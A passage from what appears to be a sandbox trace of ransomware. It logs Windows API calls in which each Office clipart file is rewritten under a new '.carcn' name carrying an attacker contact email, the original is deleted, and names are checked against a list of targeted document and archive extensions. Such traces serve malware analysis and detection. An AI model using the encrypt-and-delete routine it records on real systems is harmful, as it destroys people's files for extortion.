lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xe70, lpOverlapped=0x0) returned 1 [0283.335] WriteFile (in: hFile=0x41c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xe80, lpOverlapped=0x0) returned 1 [0283.336] ReadFile (in: hFile=0x438, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.336] WriteFile (in: hFile=0x41c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.336] SetEndOfFile (hFile=0x41c) returned 1 [0283.337] CloseHandle (hObject=0x41c) returned 1 [0283.337] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.337] SetEndOfFile (hFile=0x438) returned 1 [0283.340] CloseHandle (hObject=0x438) returned 1 [0283.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0283.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0283.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0283.342] lstrlenW (lpString=".doc") returned 4 [0283.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.342] lstrlenW (lpString=".docx") returned 5 [0283.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.342] lstrlenW (lpString=".pdf") returned 4 [0283.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.342] lstrlenW (lpString=".xls") returned 4 [0283.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.342] lstrlenW (lpString=".xlsx") returned 5 [0283.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.342] lstrlenW (lpString=".ppt") returned 4 [0283.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0283.343] lstrlenW (lpString=".zip") returned 4 [0283.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.343] lstrlenW (lpString=".rar") returned 4 [0283.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.343] lstrlenW (lpString=".bz2") returned 4 [0283.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.343] lstrlenW (lpString=".7z") returned 3 [0283.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0283.343] lstrlenW (lpString=".dbf") returned 4 [0283.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0283.343] lstrlenW (lpString=".1cd") returned 4 [0283.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0283.343] lstrlenW (lpString=".jpg") returned 4 [0283.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.344] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1564) returned 1 [0283.344] CloseHandle (hObject=0x438) returned 1 [0283.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0283.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0283.345] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.345] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0283.346] GetLastError () returned 0x0 [0283.347] ReadFile (in: hFile=0x438, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x61c, lpOverlapped=0x0) returned 1 [0283.356] WriteFile (in: hFile=0x41c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x620, lpOverlapped=0x0) returned 1 [0283.357] ReadFile (in: hFile=0x438, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.357] WriteFile (in: hFile=0x41c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.358] SetEndOfFile (hFile=0x41c) returned 1 [0283.358] CloseHandle (hObject=0x41c) returned 1 [0283.358] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.358] SetEndOfFile (hFile=0x438) returned 1 [0283.657] CloseHandle (hObject=0x438) returned 1 [0283.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0283.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0283.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0283.659] lstrlenW (lpString=".doc") returned 4 [0283.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.659] lstrlenW (lpString=".docx") returned 5 [0283.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.659] lstrlenW (lpString=".pdf") returned 4 [0283.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.659] lstrlenW (lpString=".xls") returned 4 [0283.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.659] lstrlenW (lpString=".xlsx") returned 5 [0283.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.659] lstrlenW (lpString=".ppt") returned 4 [0283.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0283.659] lstrlenW (lpString=".zip") returned 4 [0283.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.660] lstrlenW (lpString=".rar") returned 4 [0283.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.660] lstrlenW (lpString=".bz2") returned 4 [0283.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.660] lstrlenW (lpString=".7z") returned 3 [0283.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0283.660] lstrlenW (lpString=".dbf") returned 4 [0283.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0283.660] lstrlenW (lpString=".1cd") returned 4 [0283.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0283.660] lstrlenW (lpString=".jpg") returned 4 [0283.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.661] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3764) returned 1 [0283.661] CloseHandle (hObject=0x438) returned 1 [0283.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0283.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0283.662] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.662] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0283.663] GetLastError () returned 0x0 [0283.663] ReadFile (in: hFile=0x438, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xeb4, lpOverlapped=0x0) returned 1 [0283.665] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec0, lpOverlapped=0x0) returned 1 [0283.667] ReadFile (in: hFile=0x438, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.667] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.667] SetEndOfFile (hFile=0x38c) returned 1 [0283.667] CloseHandle (hObject=0x38c) returned 1 [0283.668] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.668] SetEndOfFile (hFile=0x438) returned 1 [0283.672] CloseHandle (hObject=0x438) returned 1 [0283.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0283.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0283.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0283.674] lstrlenW (lpString=".doc") returned 4 [0283.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.674] lstrlenW (lpString=".docx") returned 5 [0283.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.674] lstrlenW (lpString=".pdf") returned 4 [0283.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.674] lstrlenW (lpString=".xls") returned 4 [0283.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.674] lstrlenW (lpString=".xlsx") returned 5 [0283.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.674] lstrlenW (lpString=".ppt") returned 4 [0283.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0283.675] lstrlenW (lpString=".zip") returned 4 [0283.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.675] lstrlenW (lpString=".rar") returned 4 [0283.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.675] lstrlenW (lpString=".bz2") returned 4 [0283.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.675] lstrlenW (lpString=".7z") returned 3 [0283.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0283.675] lstrlenW (lpString=".dbf") returned 4 [0283.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0283.675] lstrlenW (lpString=".1cd") returned 4 [0283.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0283.675] lstrlenW (lpString=".jpg") returned 4 [0283.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.685] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2472) returned 1 [0283.685] CloseHandle (hObject=0x438) returned 1 [0283.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0283.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0283.687] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.687] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0283.688] GetLastError () returned 0x0 [0283.688] ReadFile (in: hFile=0x438, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x9a8, lpOverlapped=0x0) returned 1 [0283.690] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0283.692] ReadFile (in: hFile=0x438, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.692] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.693] SetEndOfFile (hFile=0x38c) returned 1 [0283.693] CloseHandle (hObject=0x38c) returned 1 [0283.693] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.693] SetEndOfFile (hFile=0x438) returned 1 [0283.697] CloseHandle (hObject=0x438) returned 1 [0283.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0283.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0283.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0283.698] lstrlenW (lpString=".doc") returned 4 [0283.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.699] lstrlenW (lpString=".docx") returned 5 [0283.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.699] lstrlenW (lpString=".pdf") returned 4 [0283.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.699] lstrlenW (lpString=".xls") returned 4 [0283.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.699] lstrlenW (lpString=".xlsx") returned 5 [0283.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.699] lstrlenW (lpString=".ppt") returned 4 [0283.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0283.881] lstrlenW (lpString=".zip") returned 4 [0283.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.881] lstrlenW (lpString=".rar") returned 4 [0283.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.883] lstrlenW (lpString=".bz2") returned 4 [0283.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.883] lstrlenW (lpString=".7z") returned 3 [0283.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0283.883] lstrlenW (lpString=".dbf") returned 4 [0283.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0283.883] lstrlenW (lpString=".1cd") returned 4 [0283.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0283.883] lstrlenW (lpString=".jpg") returned 4 [0283.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.235] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.235] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0284.236] GetLastError () returned 0x0 [0284.236] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0284.254] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0284.255] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.255] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.255] SetEndOfFile (hFile=0x38c) returned 1 [0284.255] CloseHandle (hObject=0x38c) returned 1 [0284.255] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.255] SetEndOfFile (hFile=0x554) returned 1 [0284.258] CloseHandle (hObject=0x554) returned 1 [0284.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0284.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0284.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0284.259] lstrlenW (lpString=".doc") returned 4 [0284.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.260] lstrlenW (lpString=".docx") returned 5 [0284.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.260] lstrlenW (lpString=".pdf") returned 4 [0284.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.260] lstrlenW (lpString=".xls") returned 4 [0284.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.260] lstrlenW (lpString=".xlsx") returned 5 [0284.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.260] lstrlenW (lpString=".ppt") returned 4 [0284.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0284.260] lstrlenW (lpString=".zip") returned 4 [0284.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.260] lstrlenW (lpString=".rar") returned 4 [0284.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.260] lstrlenW (lpString=".bz2") returned 4 [0284.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.260] lstrlenW (lpString=".7z") returned 3 [0284.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0284.260] lstrlenW (lpString=".dbf") returned 4 [0284.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0284.261] lstrlenW (lpString=".1cd") returned 4 [0284.261] lstrcmpiW (lpString1=".1cd", 